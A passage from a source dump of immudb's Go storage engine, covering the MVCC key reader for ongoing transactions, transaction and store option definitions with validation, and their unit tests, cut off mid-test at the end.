2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "context" "errors" ) type expectedReader struct { spec KeyReaderSpec expectedReads [][]expectedRead // multiple []expectedRead may be generated if the reader is reset i int // it matches with reset count, used to point to the latest []expectedRead } type expectedRead struct { initialTxID uint64 finalTxID uint64 expectedKey []byte expectedTx uint64 // expectedTx = 0 means the entry was updated/created by the ongoing transaction expectedNoMoreEntries bool } // ongoingTxKeyReader wraps a keyReader and keeps track of read entries // read entries are validated against the current database state at commit time type ongoingTxKeyReader struct { tx *OngoingTx keyReader KeyReader offset uint64 // offset and filtering is handled by the wrapper in order to have full control of read entries skipped uint64 expectedReader *expectedReader } func newExpectedReader(spec KeyReaderSpec) *expectedReader { return &expectedReader{ spec: spec, expectedReads: make([][]expectedRead, 1), } } func newOngoingTxKeyReader(tx *OngoingTx, spec KeyReaderSpec) (*ongoingTxKeyReader, error) { if tx.mvccReadSetLimitReached() { return nil, ErrMVCCReadSetLimitExceeded } snap, err := tx.snap(spec.Prefix) if err != nil { return nil, err } rspec := KeyReaderSpec{ SeekKey: spec.SeekKey, EndKey: spec.EndKey, Prefix: spec.Prefix, InclusiveSeek: spec.InclusiveSeek, InclusiveEnd: spec.InclusiveEnd, DescOrder: spec.DescOrder, } keyReader, err := snap.NewKeyReader(rspec) if err != nil { return nil, err } expectedReader := newExpectedReader(spec) tx.mvccReadSet.expectedReaders = append(tx.mvccReadSet.expectedReaders, expectedReader) tx.mvccReadSet.readsetSize++ return &ongoingTxKeyReader{ tx: tx, keyReader: keyReader, offset: spec.Offset, expectedReader: expectedReader, }, nil } func (r *ongoingTxKeyReader) Read(ctx context.Context) (key []byte, val ValueRef, err error) { return r.ReadBetween(ctx, 0, 0) } func (r *ongoingTxKeyReader) ReadBetween(ctx context.Context, initialTxID, finalTxID uint64) (key []byte, valRef ValueRef, err error) { for { if initialTxID == 0 && finalTxID == 0 { key, valRef, err = r.keyReader.Read(ctx) } else { key, valRef, err = r.keyReader.ReadBetween(ctx, initialTxID, finalTxID) } if errors.Is(err, ErrNoMoreEntries) { expectedRead := expectedRead{ initialTxID: initialTxID, finalTxID: finalTxID, expectedNoMoreEntries: true, } if r.tx.mvccReadSet.readsetSize == r.tx.st.mvccReadSetLimit { return nil, nil, ErrMVCCReadSetLimitExceeded } r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) r.tx.mvccReadSet.readsetSize++ } if err != nil { return nil, nil, err } expectedRead := expectedRead{ initialTxID: initialTxID, finalTxID: finalTxID, expectedKey: cp(key), expectedTx: valRef.Tx(), } if r.tx.mvccReadSet.readsetSize == r.tx.st.mvccReadSetLimit { return nil, nil, ErrMVCCReadSetLimitExceeded } r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) r.tx.mvccReadSet.readsetSize++ filterEntry := false for _, filter := range r.expectedReader.spec.Filters { err = filter(valRef, r.tx.Timestamp()) if err != nil { filterEntry = true break } } if filterEntry { continue } if r.skipped < r.offset { r.skipped++ continue } return key, valRef, nil } } func (r *ongoingTxKeyReader) Reset() error { err := r.keyReader.Reset() if err != nil { return err } if r.tx.mvccReadSet.readsetSize == r.tx.st.mvccReadSetLimit { return ErrMVCCReadSetLimitExceeded } r.expectedReader.expectedReads = append(r.expectedReader.expectedReads, nil) r.expectedReader.i++ r.tx.mvccReadSet.readsetSize++ return nil } func (r *ongoingTxKeyReader) Close() error { return r.keyReader.Close() } ================================================ FILE: embedded/store/ongoing_tx_options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "fmt" "time" ) type TxMode int const ( ReadOnlyTx TxMode = iota WriteOnlyTx ReadWriteTx ) type TxOptions struct { Mode TxMode // SnapshotMustIncludeTxID is a function which receives the latest precommitted transaction ID as parameter. // It gives the possibility to reuse a snapshot which includes a percentage of the transactions already indexed // e.g. func(lastPrecommittedTxID uint64) uint64 { return lastPrecommittedTxID * 90 / 100 } // or just a fixed transaction ID e.g. func(_ uint64) uint64 { return 1_000 } SnapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64 // SnapshotRenewalPeriod determines for how long a snaphsot may reuse existent dumped root SnapshotRenewalPeriod time.Duration // MVCC does not wait for indexing to be up to date UnsafeMVCC bool } func DefaultTxOptions() *TxOptions { return &TxOptions{ Mode: ReadWriteTx, SnapshotMustIncludeTxID: func(lastPrecommittedTxID uint64) uint64 { return lastPrecommittedTxID }, UnsafeMVCC: false, } } func (opts *TxOptions) Validate() error { if opts == nil { return fmt.Errorf("%w: nil options", ErrInvalidOptions) } if opts.Mode != ReadOnlyTx && opts.Mode != WriteOnlyTx && opts.Mode != ReadWriteTx { return fmt.Errorf("%w: invalid transaction mode", ErrInvalidOptions) } return nil } func (opts *TxOptions) WithMode(mode TxMode) *TxOptions { opts.Mode = mode return opts } func (opts *TxOptions) WithSnapshotMustIncludeTxID(snapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64) *TxOptions { opts.SnapshotMustIncludeTxID = snapshotMustIncludeTxID return opts } func (opts *TxOptions) WithSnapshotRenewalPeriod(snapshotRenewalPeriod time.Duration) *TxOptions { opts.SnapshotRenewalPeriod = snapshotRenewalPeriod return opts } func (opts *TxOptions) WithUnsafeMVCC(unsafeMVCC bool) *TxOptions { opts.UnsafeMVCC = unsafeMVCC return opts } ================================================ FILE: embedded/store/ongoing_tx_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "context" "testing" "time" "github.com/stretchr/testify/require" ) func TestOngoingTXAddPrecondition(t *testing.T) { otx := OngoingTx{ st: &ImmuStore{ maxKeyLen: 10, }, } err := otx.AddPrecondition(nil) require.ErrorIs(t, err, ErrIllegalArguments) err = otx.AddPrecondition(&PreconditionKeyMustExist{}) require.ErrorIs(t, err, ErrInvalidPrecondition) otx.closed = true err = otx.AddPrecondition(&PreconditionKeyMustExist{ Key: []byte("key"), }) require.ErrorIs(t, err, ErrAlreadyClosed) } func TestOngoingTxCheckPreconditionsCornerCases(t *testing.T) { st, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) defer immustoreClose(t, st) otx := &OngoingTx{} err = otx.checkPreconditions(context.Background(), st) require.NoError(t, err) otx.preconditions = []Precondition{nil} err = otx.checkPreconditions(context.Background(), st) require.ErrorIs(t, err, ErrInvalidPrecondition) require.ErrorIs(t, err, ErrInvalidPreconditionNull) err = st.Close() require.NoError(t, err) otx.preconditions = []Precondition{ &PreconditionKeyMustExist{Key: []byte{1}}, } err = otx.checkPreconditions(context.Background(), st) require.ErrorIs(t, err, ErrAlreadyClosed) otx.preconditions = []Precondition{ &PreconditionKeyMustNotExist{Key: []byte{1}}, } err = otx.checkPreconditions(context.Background(), st) require.ErrorIs(t, err, ErrAlreadyClosed) otx.preconditions = []Precondition{ &PreconditionKeyNotModifiedAfterTx{Key: []byte{1}, TxID: 1}, } err = otx.checkPreconditions(context.Background(), st) require.ErrorIs(t, err, ErrAlreadyClosed) } func TestOngoingTxOptions(t *testing.T) { var opts *TxOptions require.Error(t, opts.Validate()) opts = &TxOptions{} require.Equal(t, TxMode(4), opts.WithMode(4).Mode) require.Error(t, opts.Validate()) require.Equal(t, 1*time.Hour, opts.WithSnapshotRenewalPeriod(1*time.Hour).SnapshotRenewalPeriod) require.EqualValues(t, 1, opts.WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 1 }).SnapshotMustIncludeTxID(100)) require.True(t, opts.WithUnsafeMVCC(true).UnsafeMVCC) } ================================================ FILE: embedded/store/options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "fmt" "os" "time" "github.com/codenotary/immudb/embedded/ahtree" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/pkg/helpers/semaphore" ) const DefaultMaxActiveTransactions = 1000 const DefaultMVCCReadSetLimit = 100_000 const DefaultMaxConcurrency = 30 const DefaultMaxIOConcurrency = 1 const DefaultMaxTxEntries = 1 << 10 // 1024 const DefaultMaxKeyLen = 1024 const DefaultMaxValueLen = 4096 // 4Kb const DefaultSyncFrequency = 20 * time.Millisecond const DefaultFileMode = os.FileMode(0755) const DefaultFileSize = multiapp.DefaultFileSize const DefaultCompressionFormat = appendable.DefaultCompressionFormat const DefaultCompressionLevel = appendable.DefaultCompressionLevel const DefaultEmbeddedValues = false const DefaultPreallocFiles = false const DefaultTxLogCacheSize = 1000 const DefaultVLogCacheSize = 0 const DefaultMaxWaitees = 1000 const DefaultVLogMaxOpenedFiles = 10 const DefaultTxLogMaxOpenedFiles = 10 const DefaultCommitLogMaxOpenedFiles = 10 const DefaultWriteTxHeaderVersion = MaxTxHeaderVersion const DefaultWriteBufferSize = 1 << 22 //4Mb const DefaultIndexingMaxBulkSize = 1 const DefaultIndexingGlobalMaxBufferedDataSize = 1 << 30 const DefaultBulkPreparationTimeout = DefaultSyncFrequency const DefaultTruncationFrequency = 24 * time.Hour const MinimumRetentionPeriod = 24 * time.Hour const MinimumTruncationFrequency = 1 * time.Hour const MaxFileSize = (1 << 31) - 1 // 2Gb type AppFactoryFunc func( rootPath string, subPath string, opts *multiapp.Options, ) (appendable.Appendable, error) type AppRemoveFunc func(rootPath, subPath string) error type IndexCacheFactoryFunc func() *cache.Cache type IndexMemSemaphoreFactoryFunc func() *semaphore.Semaphore type TimeFunc func() time.Time type FlushFunc func() error type Options struct { ReadOnly bool // Fsync during commit process Synced bool // Fsync frequency during commit process SyncFrequency time.Duration // Size of the in-memory buffer for write operations WriteBufferSize int FileMode os.FileMode logger logger.Logger appFactory AppFactoryFunc appRemove AppRemoveFunc CompactionDisabled bool // Maximum number of pre-committed transactions MaxActiveTransactions int // Limit the number of read entries per transaction MVCCReadSetLimit int // Maximum number of simultaneous commits prepared for write MaxConcurrency int // Maximum number of simultaneous IO writes MaxIOConcurrency int // Size of the cache for transaction logs TxLogCacheSize int // Maximum number of simultaneous value files opened VLogMaxOpenedFiles int // Size of the cache for value logs VLogCacheSize int // Maximum number of simultaneous transaction log files opened TxLogMaxOpenedFiles int // Maximum number of simultaneous commit log files opened CommitLogMaxOpenedFiles int // Version of transaction header to use (limits available features) WriteTxHeaderVersion int // Maximum number of go-routines waiting for specific transactions to be in a committed or indexed state MaxWaitees int TimeFunc TimeFunc UseExternalCommitAllowance bool MultiIndexing bool // options below are only set during initialization and stored as metadata MaxTxEntries int MaxKeyLen int MaxValueLen int FileSize int CompressionFormat int CompressionLevel int EmbeddedValues bool PreallocFiles bool // options below affect indexing IndexOpts *IndexOptions // options below affect appendable hash tree AHTOpts *AHTOptions } type IndexOptions struct { // Global limit for amount of data that can be buffered from all indexes MaxGlobalBufferedDataSize int // MaxBufferedDataSize MaxBufferedDataSize int // Size (in bytes) of the Btree node cache CacheSize int // Number of new index entries between disk flushes FlushThld int // Number of new index entries between disk flushes with file sync SyncThld int // Size of the in-memory flush buffer (in bytes) FlushBufferSize int // Percentage of node files cleaned up during each flush CleanupPercentage float32 // Maximum number of active btree snapshots MaxActiveSnapshots int // Max size of a single Btree node in bytes MaxNodeSize int // Time between the most recent DB snapshot is automatically renewed RenewSnapRootAfter time.Duration // Minimum number of updates entries in the btree to allow for full compaction CompactionThld int // Additional delay added during indexing when full compaction is in progress DelayDuringCompaction time.Duration // Maximum number of simultaneously opened nodes files NodesLogMaxOpenedFiles int // Maximum number of simultaneously opened node history files HistoryLogMaxOpenedFiles int // Maximum number of simultaneously opened commit log files CommitLogMaxOpenedFiles int // Maximum number of transactions indexed together MaxBulkSize int // Maximum time waiting for more transactions to be committed and included into the same bulk BulkPreparationTimeout time.Duration } type AHTOptions struct { // Number of new leaves in the tree between synchronous flush to disk SyncThld int // Size of the in-memory write buffer WriteBufferSize int } func DefaultOptions() *Options { return &Options{ ReadOnly: false, WriteBufferSize: DefaultWriteBufferSize, Synced: true, SyncFrequency: DefaultSyncFrequency, FileMode: DefaultFileMode, logger: logger.NewSimpleLogger("immudb ", os.Stderr), MaxActiveTransactions: DefaultMaxActiveTransactions, MVCCReadSetLimit: DefaultMVCCReadSetLimit, MaxConcurrency: DefaultMaxConcurrency, MaxIOConcurrency: DefaultMaxIOConcurrency, TxLogCacheSize: DefaultTxLogCacheSize, VLogCacheSize: DefaultVLogCacheSize, VLogMaxOpenedFiles: DefaultVLogMaxOpenedFiles, TxLogMaxOpenedFiles: DefaultTxLogMaxOpenedFiles, CommitLogMaxOpenedFiles: DefaultCommitLogMaxOpenedFiles, MaxWaitees: DefaultMaxWaitees, TimeFunc: func() time.Time { return time.Now() }, WriteTxHeaderVersion: DefaultWriteTxHeaderVersion, // options below are only set during initialization and stored as metadata MaxTxEntries: DefaultMaxTxEntries, MaxKeyLen: DefaultMaxKeyLen, MaxValueLen: DefaultMaxValueLen, FileSize: DefaultFileSize, CompressionFormat: DefaultCompressionFormat, CompressionLevel: DefaultCompressionLevel, EmbeddedValues: DefaultEmbeddedValues, PreallocFiles: DefaultPreallocFiles, IndexOpts: DefaultIndexOptions(), AHTOpts: DefaultAHTOptions(), } } func DefaultIndexOptions() *IndexOptions { return &IndexOptions{ MaxGlobalBufferedDataSize: DefaultIndexingGlobalMaxBufferedDataSize, MaxBufferedDataSize: tbtree.DefaultMaxBufferedDataSize, CacheSize: tbtree.DefaultCacheSize, FlushThld: tbtree.DefaultFlushThld, SyncThld: tbtree.DefaultSyncThld, FlushBufferSize: tbtree.DefaultFlushBufferSize, CleanupPercentage: tbtree.DefaultCleanUpPercentage, MaxActiveSnapshots: tbtree.DefaultMaxActiveSnapshots, MaxNodeSize: tbtree.DefaultMaxNodeSize, RenewSnapRootAfter: tbtree.DefaultRenewSnapRootAfter, CompactionThld: tbtree.DefaultCompactionThld, DelayDuringCompaction: 0, NodesLogMaxOpenedFiles: tbtree.DefaultNodesLogMaxOpenedFiles, HistoryLogMaxOpenedFiles: tbtree.DefaultHistoryLogMaxOpenedFiles, CommitLogMaxOpenedFiles: tbtree.DefaultCommitLogMaxOpenedFiles, MaxBulkSize: DefaultIndexingMaxBulkSize, BulkPreparationTimeout: DefaultBulkPreparationTimeout, } } func DefaultAHTOptions() *AHTOptions { return &AHTOptions{ SyncThld: ahtree.DefaultSyncThld, WriteBufferSize: ahtree.DefaultWriteBufferSize, } } func (opts *Options) Validate() error { if opts == nil { return fmt.Errorf("%w: nil options", ErrInvalidOptions) } if opts.WriteBufferSize <= 0 { return fmt.Errorf("%w: invalid WriteBufferSize", ErrInvalidOptions) } if opts.SyncFrequency < 0 { return fmt.Errorf("%w: invalid SyncFrequency", ErrInvalidOptions) } if opts.MaxActiveTransactions <= 0 { return fmt.Errorf("%w: invalid MaxActiveTransactions", ErrInvalidOptions) } if opts.MVCCReadSetLimit <= 0 { return fmt.Errorf("%w: invalid MVCCReadSetLimit", ErrInvalidOptions) } if opts.MaxConcurrency <= 0 { return fmt.Errorf("%w: invalid MaxConcurrency", ErrInvalidOptions) } if opts.MaxIOConcurrency <= 0 || opts.MaxIOConcurrency > MaxParallelIO || (opts.MaxIOConcurrency > 1 && opts.EmbeddedValues) { return fmt.Errorf("%w: invalid MaxIOConcurrency", ErrInvalidOptions) } if opts.VLogMaxOpenedFiles <= 0 { return fmt.Errorf("%w: invalid VLogMaxOpenedFiles", ErrInvalidOptions) } if opts.TxLogMaxOpenedFiles <= 0 { return fmt.Errorf("%w: invalid TxLogMaxOpenedFiles", ErrInvalidOptions) } if opts.CommitLogMaxOpenedFiles <= 0 { return fmt.Errorf("%w: invalid CommitLogMaxOpenedFiles", ErrInvalidOptions) } if opts.TxLogCacheSize <= 0 { return fmt.Errorf("%w: invalid TxLogCacheSize", ErrInvalidOptions) } if opts.VLogCacheSize < 0 { return fmt.Errorf("%w: invalid VLogCacheSize", ErrInvalidOptions) } if opts.MaxWaitees < 0 { return fmt.Errorf("%w: invalid MaxWaitees", ErrInvalidOptions) } if opts.TimeFunc == nil { return fmt.Errorf("%w: invalid TimeFunc", ErrInvalidOptions) } if opts.WriteTxHeaderVersion < 0 { return fmt.Errorf("%w: invalid WriteTxHeaderVersion", ErrInvalidOptions) } if opts.WriteTxHeaderVersion > MaxTxHeaderVersion { return fmt.Errorf("%w: invalid WriteTxHeaderVersion", ErrInvalidOptions) } // options below are only set during initialization and stored as metadata if opts.MaxTxEntries <= 0 { return fmt.Errorf("%w: invalid MaxTxEntries", ErrInvalidOptions) } if opts.MaxKeyLen <= 0 || opts.MaxKeyLen > MaxKeyLen { return fmt.Errorf("%w: invalid MaxKeyLen", ErrInvalidOptions) } if opts.MaxValueLen <= 0 { return fmt.Errorf("%w: invalid MaxValueLen", ErrInvalidOptions) } if opts.FileSize <= 0 || opts.FileSize >= MaxFileSize { return fmt.Errorf("%w: invalid FileSize", ErrInvalidOptions) } if opts.logger == nil { return fmt.Errorf("%w: invalid log", ErrInvalidOptions) } err := opts.IndexOpts.Validate() if err != nil { return err } return opts.AHTOpts.Validate() } func (opts *IndexOptions) Validate() error { if opts == nil { return fmt.Errorf("%w: nil index options ", ErrInvalidOptions) } if opts.MaxBufferedDataSize <= 0 { return fmt.Errorf("%w: invalid index option MaxBufferedDataSize", ErrInvalidOptions) } if opts.MaxGlobalBufferedDataSize <= 0 { return fmt.Errorf("%w: invalid index option MaxGlobalBufferedDataSize", ErrInvalidOptions) } if opts.MaxBufferedDataSize > opts.MaxGlobalBufferedDataSize { return fmt.Errorf("%w: invalid index option MaxBufferedDataSize > MaxGlobalBufferedDataSize", ErrInvalidOptions) } if opts.CacheSize <= 0 { return fmt.Errorf("%w: invalid index option CacheSize", ErrInvalidOptions) } if opts.FlushThld <= 0 { return fmt.Errorf("%w: invalid index option FlushThld", ErrInvalidOptions) } if opts.SyncThld <= 0 { return fmt.Errorf("%w: invalid index option SyncThld", ErrInvalidOptions) } if opts.FlushBufferSize <= 0 { return fmt.Errorf("%w: invalid index option FlushBufferSize", ErrInvalidOptions) } if opts.CleanupPercentage < 0 || opts.CleanupPercentage > 100 { return fmt.Errorf("%w: invalid index option CleanupPercentage", ErrInvalidOptions) } if opts.MaxActiveSnapshots <= 0 { return fmt.Errorf("%w: invalid index option MaxActiveSnapshots", ErrInvalidOptions) } if opts.MaxNodeSize <= 0 { return fmt.Errorf("%w: invalid index option MaxNodeSize", ErrInvalidOptions) } if opts.CompactionThld <= 0 { return fmt.Errorf("%w: invalid index option CompactionThld", ErrInvalidOptions) } if opts.DelayDuringCompaction < 0 { return fmt.Errorf("%w: invalid index option DelayDuringCompaction", ErrInvalidOptions) } if opts.RenewSnapRootAfter < 0 { return fmt.Errorf("%w: invalid index option RenewSnapRootAfter", ErrInvalidOptions) } if opts.MaxBulkSize < 1 { return fmt.Errorf("%w: invalid MaxBulkSize", ErrInvalidOptions) } if opts.BulkPreparationTimeout < 0 { return fmt.Errorf("%w: invalid BulkPreparationTimeout", ErrInvalidOptions) } if opts.NodesLogMaxOpenedFiles <= 0 { return fmt.Errorf("%w: invalid index option NodesLogMaxOpenedFiles", ErrInvalidOptions) } if opts.HistoryLogMaxOpenedFiles <= 0 { return fmt.Errorf("%w: invalid index option HistoryLogMaxOpenedFiles", ErrInvalidOptions) } if opts.CommitLogMaxOpenedFiles <= 0 { return fmt.Errorf("%w: invalid index option CommitLogMaxOpenedFiles", ErrInvalidOptions) } return nil } func (opts *AHTOptions) Validate() error { if opts == nil { return fmt.Errorf("%w: nil AHT options ", ErrInvalidOptions) } if opts.WriteBufferSize <= 0 { return fmt.Errorf("%w: invalid AHT option WriteBufferSize", ErrInvalidOptions) } if opts.SyncThld <= 0 { return fmt.Errorf("%w: invalid AHT option SyncThld", ErrInvalidOptions) } return nil } func (opts *Options) WithReadOnly(readOnly bool) *Options { opts.ReadOnly = readOnly return opts } func (opts *Options) WithSynced(synced bool) *Options { opts.Synced = synced return opts } func (opts *Options) WithWriteBufferSize(writeBufferSize int) *Options { opts.WriteBufferSize = writeBufferSize return opts } func (opts *Options) WithSyncFrequency(frequency time.Duration) *Options { opts.SyncFrequency = frequency return opts } func (opts *Options) WithFileMode(fileMode os.FileMode) *Options { opts.FileMode = fileMode return opts } func (opts *Options) WithLogger(logger logger.Logger) *Options { opts.logger = logger return opts } func (opts *Options) WithAppFactory(appFactory AppFactoryFunc) *Options { opts.appFactory = appFactory return opts } func (opts *Options) WithAppRemoveFunc(appRemove AppRemoveFunc) *Options { opts.appRemove = appRemove return opts } func (opts *Options) WithCompactionDisabled(disabled bool) *Options { opts.CompactionDisabled = disabled return opts } func (opts *Options) WithMaxActiveTransactions(maxActiveTransactions int) *Options { opts.MaxActiveTransactions = maxActiveTransactions return opts } func (opts *Options) WithMVCCReadSetLimit(mvccReadSetLimit int) *Options { opts.MVCCReadSetLimit = mvccReadSetLimit return opts } func (opts *Options) WithMaxConcurrency(maxConcurrency int) *Options { opts.MaxConcurrency = maxConcurrency return opts } func (opts *Options) WithMaxIOConcurrency(maxIOConcurrency int) *Options { opts.MaxIOConcurrency = maxIOConcurrency return opts } func (opts *Options) WithMaxTxEntries(maxTxEntries int) *Options { opts.MaxTxEntries = maxTxEntries return opts } func (opts *Options) WithMaxKeyLen(maxKeyLen int) *Options { opts.MaxKeyLen = maxKeyLen return opts } func (opts *Options) WithMaxValueLen(maxValueLen int) *Options { opts.MaxValueLen = maxValueLen return opts } func (opts *Options) WithTxLogCacheSize(txLogCacheSize int) *Options { opts.TxLogCacheSize = txLogCacheSize return opts } func (opts *Options) WithVLogCacheSize(vLogCacheSize int) *Options { opts.VLogCacheSize = vLogCacheSize return opts } func (opts *Options) WithFileSize(fileSize int) *Options { opts.FileSize = fileSize return opts } func (opts *Options) WithVLogMaxOpenedFiles(vLogMaxOpenedFiles int) *Options { opts.VLogMaxOpenedFiles = vLogMaxOpenedFiles return opts } func (opts *Options) WithTxLogMaxOpenedFiles(txLogMaxOpenedFiles int) *Options { opts.TxLogMaxOpenedFiles = txLogMaxOpenedFiles return opts } func (opts *Options) WithCommitLogMaxOpenedFiles(commitLogMaxOpenedFiles int) *Options { opts.CommitLogMaxOpenedFiles = commitLogMaxOpenedFiles return opts } func (opts *Options) WithMaxWaitees(maxWaitees int) *Options { opts.MaxWaitees = maxWaitees return opts } func (opts *Options) WithTimeFunc(timeFunc TimeFunc) *Options { opts.TimeFunc = timeFunc return opts } func (opts *Options) WithExternalCommitAllowance(useExternalCommitAllowance bool) *Options { opts.UseExternalCommitAllowance = useExternalCommitAllowance return opts } func (opts *Options) WithMultiIndexing(multiIndexing bool) *Options { opts.MultiIndexing = multiIndexing return opts } func (opts *Options) WithWriteTxHeaderVersion(version int) *Options { opts.WriteTxHeaderVersion = version return opts } func (opts *Options) WithCompressionFormat(compressionFormat int) *Options { opts.CompressionFormat = compressionFormat return opts } func (opts *Options) WithCompresionLevel(compressionLevel int) *Options { opts.CompressionLevel = compressionLevel return opts } func (opts *Options) WithEmbeddedValues(embeddedValues bool) *Options { opts.EmbeddedValues = embeddedValues return opts } func (opts *Options) WithPreallocFiles(preallocFiles bool) *Options { opts.PreallocFiles = preallocFiles return opts } func (opts *Options) WithIndexOptions(indexOptions *IndexOptions) *Options { opts.IndexOpts = indexOptions return opts } func (opts *Options) WithAHTOptions(ahtOptions *AHTOptions) *Options { opts.AHTOpts = ahtOptions return opts } // IndexOptions func (opts *IndexOptions) WithCacheSize(cacheSize int) *IndexOptions { opts.CacheSize = cacheSize return opts } func (opts *IndexOptions) WithFlushThld(flushThld int) *IndexOptions { opts.FlushThld = flushThld return opts } func (opts *IndexOptions) WithSyncThld(syncThld int) *IndexOptions { opts.SyncThld = syncThld return opts } func (opts *IndexOptions) WithFlushBufferSize(flushBufferSize int) *IndexOptions { opts.FlushBufferSize = flushBufferSize return opts } func (opts *IndexOptions) WithCleanupPercentage(cleanupPercentage float32) *IndexOptions { opts.CleanupPercentage = cleanupPercentage return opts } func (opts *IndexOptions) WithMaxActiveSnapshots(maxActiveSnapshots int) *IndexOptions { opts.MaxActiveSnapshots = maxActiveSnapshots return opts } func (opts *IndexOptions) WithMaxNodeSize(maxNodeSize int) *IndexOptions { opts.MaxNodeSize = maxNodeSize return opts } func (opts *IndexOptions) WithRenewSnapRootAfter(renewSnapRootAfter time.Duration) *IndexOptions { opts.RenewSnapRootAfter = renewSnapRootAfter return opts } func (opts *IndexOptions) WithMaxBulkSize(maxBulkSize int) *IndexOptions { opts.MaxBulkSize = maxBulkSize return opts } func (opts *IndexOptions) WithBulkPreparationTimeout(bulkPreparationTimeout time.Duration) *IndexOptions { opts.BulkPreparationTimeout = bulkPreparationTimeout return opts } func (opts *IndexOptions) WithCompactionThld(compactionThld int) *IndexOptions { opts.CompactionThld = compactionThld return opts } func (opts *IndexOptions) WithDelayDuringCompaction(delayDuringCompaction time.Duration) *IndexOptions { opts.DelayDuringCompaction = delayDuringCompaction return opts } func (opts *IndexOptions) WithNodesLogMaxOpenedFiles(nodesLogMaxOpenedFiles int) *IndexOptions { opts.NodesLogMaxOpenedFiles = nodesLogMaxOpenedFiles return opts } func (opts *IndexOptions) WithHistoryLogMaxOpenedFiles(historyLogMaxOpenedFiles int) *IndexOptions { opts.HistoryLogMaxOpenedFiles = historyLogMaxOpenedFiles return opts } func (opts *IndexOptions) WithCommitLogMaxOpenedFiles(commitLogMaxOpenedFiles int) *IndexOptions { opts.CommitLogMaxOpenedFiles = commitLogMaxOpenedFiles return opts } func (opts *IndexOptions) WithMaxBufferedDataSize(size int) *IndexOptions { opts.MaxBufferedDataSize = size return opts } func (opts *IndexOptions) WithMaxGlobalBufferedDataSize(size int) *IndexOptions { opts.MaxGlobalBufferedDataSize = size return opts } // AHTOptions func (opts *AHTOptions) WithWriteBufferSize(writeBufferSize int) *AHTOptions { opts.WriteBufferSize = writeBufferSize return opts } func (opts *AHTOptions) WithSyncThld(syncThld int) *AHTOptions { opts.SyncThld = syncThld return opts } ================================================ FILE: embedded/store/options_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "testing" "time" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/stretchr/testify/require" ) func TestInvalidOptions(t *testing.T) { for _, d := range []struct { n string opts *Options }{ {"nil", nil}, {"empty", &Options{}}, {"logger", DefaultOptions().WithLogger(nil)}, {"MaxConcurrency", DefaultOptions().WithMaxConcurrency(0)}, {"WriteBufferSize", DefaultOptions().WithWriteBufferSize(0)}, {"SyncFrequency", DefaultOptions().WithSyncFrequency(-1)}, {"MaxActiveTransactions", DefaultOptions().WithMaxActiveTransactions(0)}, {"MVCCReadSetLimit", DefaultOptions().WithMVCCReadSetLimit(0)}, {"MaxIOConcurrency", DefaultOptions().WithMaxIOConcurrency(0)}, {"MaxIOConcurrency-max", DefaultOptions().WithMaxIOConcurrency(MaxParallelIO + 1)}, {"TxLogCacheSize", DefaultOptions().WithTxLogCacheSize(-1)}, {"VLogCacheSize", DefaultOptions().WithVLogCacheSize(-1)}, {"VLogMaxOpenedFiles", DefaultOptions().WithVLogMaxOpenedFiles(0)}, {"TxLogMaxOpenedFiles", DefaultOptions().WithTxLogMaxOpenedFiles(0)}, {"CommitLogMaxOpenedFiles", DefaultOptions().WithCommitLogMaxOpenedFiles(0)}, {"WriteTxHeaderVersion", DefaultOptions().WithWriteTxHeaderVersion(-1)}, {"WriteTxHeaderVersion-max", DefaultOptions().WithWriteTxHeaderVersion(MaxTxHeaderVersion + 1)}, {"MaxWaitees", DefaultOptions().WithMaxWaitees(-1)}, {"TimeFunc", DefaultOptions().WithTimeFunc(nil)}, {"MaxTxEntries", DefaultOptions().WithMaxTxEntries(0)}, {"MaxKeyLen", DefaultOptions().WithMaxKeyLen(0)}, {"MaxKeyLen-max", DefaultOptions().WithMaxKeyLen(MaxKeyLen + 1)}, {"MaxValueLen", DefaultOptions().WithMaxValueLen(0)}, {"FileSize", DefaultOptions().WithFileSize(0)}, {"FileSize-max", 